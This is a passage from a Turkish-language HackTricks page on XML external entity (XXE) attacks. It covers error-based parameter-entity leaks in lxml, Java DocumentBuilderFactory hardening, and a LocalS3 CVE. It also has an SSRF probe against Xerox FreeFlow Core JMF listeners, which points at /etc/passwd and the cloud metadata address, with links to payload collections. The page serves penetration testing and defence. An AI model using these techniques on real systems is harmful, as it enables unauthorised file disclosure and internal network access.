%a; %b; ]> &c; ``` #### Anahtar çıkarımlar * **Parametre varlıkları**, `resolve_entities` XXE'yi engellemesi gerektiğinde bile libxml2 tarafından hala genişletilmektedir. * **Geçersiz URI** veya **mevcut olmayan dosya**, kontrol edilen verilerin fırlatılan istisnaya eklenmesi için yeterlidir. * Bu teknik, **dışa bağlantı olmadan** çalışır, bu da onu katı çıkış filtreli ortamlar için ideal hale getirir. #### Azaltma rehberi * **lxml ≥ 5.4.0** sürümüne yükseltin ve temel **libxml2**'nin **≥ 2.13.8** olduğundan emin olun. * Kesinlikle gerekli olmadıkça `load_dtd` ve/veya `resolve_entities`'i devre dışı bırakın. * Ham ayrıştırıcı hatalarını istemciye döndürmekten kaçının. ### Java DocumentBuilderFactory güçlendirme örneği Java uygulamaları genellikle XML'i `DocumentBuilderFactory` kullanarak ayrıştırır. Varsayılan olarak fabrika **harici varlık çözümlemesine** izin verir, bu da ek güçlendirme bayrakları ayarlanmadığında XXE ve SSRF'ye karşı savunmasız hale getirir: ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone ``` Güvenli yapılandırma örneği: ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Completely forbid any DOCTYPE declarations (best-effort defence) dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Disable expansion of external entities dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // Enable "secure processing" which applies additional limits dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true); // Defensive extras dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); DocumentBuilder builder = dbf.newDocumentBuilder(); ``` Eğer uygulama DTD'leri dahili olarak desteklemek zorundaysa, `disallow-doctype-decl` özelliğini devre dışı bırakın, ancak **her zaman** iki `external-*-entities` özelliğini `false` olarak ayarlayın. Bu kombinasyon, klasik dosya ifşası yüklerini (`file:///etc/passwd`) ve ağ tabanlı SSRF vektörlerini (`http://169.254.169.254/…`, `jar:` protokolü vb.) engeller. Gerçek dünya vaka çalışması: **CVE-2025-27136** Java S3 emülatörü *LocalS3* yukarıda gösterilen savunmasız yapıcıyı kullandı. Kimlik doğrulaması yapılmamış bir saldırgan, `CreateBucketConfiguration` uç noktasına hazırlanmış bir XML gövdesi sağlayarak sunucunun yerel dosyaları (örneğin `/etc/passwd`) HTTP yanıtına gömmesine neden olabilirdi. ### XXE in JMF/Print Orchestration Services → SSRF Bazı yazdırma iş akışı/orchestrasyon platformları, TCP üzerinden XML kabul eden ağ tabanlı Job Messaging Format (JMF) dinleyicisi sunar. Eğer temel ayrıştırıcı bir `DOCTYPE` kabul ediyorsa ve dış varlıkları çözüyorsa, sunucunun dışa yönelik istekler yapmasını (SSRF) veya yerel kaynaklara erişmesini sağlamak için klasik bir XXE'yi kullanabilirsiniz. Gerçek hayatta gözlemlenen ana noktalar: - Özel bir portta (genellikle Xerox FreeFlow Core'da 4004) ağ dinleyicisi (örneğin, JMF istemcisi). - `disallow-doctype-decl` veya varlık çözümü devre dışı bırakılmadan bir jar içinde Java tabanlı XML ayrıştırma (örneğin, `jmfclient.jar`). - Dışarıdan geri çağırmalar güvenilir bir şekilde istismar doğrulaması yapar. Minimal JMF tarzı SSRF denemesi (yapı ürüne göre değişir ama DOCTYPE önemlidir): ```xml ]> &probe; ``` Notlar: - Varlık URL'sini işbirlikçinizle değiştirin. Eğer SSRF mümkünse, sunucu mesajı işlerken bunu çözecektir. - Bakılması gereken sertleştirmeler: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`. - JMF portu dosyaları sunmasa bile, SSRF iç rekabet için veya localhost'a bağlı yönetim API'lerine ulaşmak için zincirlenebilir. Bu vektör için referanslar sayfanın sonunda listelenmiştir. ## Referanslar - [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/) - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) - Kendi dış DTD'nizi kullanarak HTTP üzerinden bilgi çıkarın: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection) - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4) - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9) - [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7) - [Dojo CTF Challenge #42 – Hex Color Palette XXE yazısı](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) - [lxml hatası #2107279 – Parametre varlığı XXE hala mümkün](https://bugs.launchpad.net/lxml/+bug/2107279) - [Horizon3.ai – Destek Biletinden Sıfır Gün'e (FreeFlow Core XXE/SSRF + Yol Geçişi)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) - [Xerox FreeFlow Core Güvenlik Kılavuzu (mimari/portlar)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf) - [Xerox Güvenlik Bülteni 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) {{#include ../banners/hacktricks-training.md}}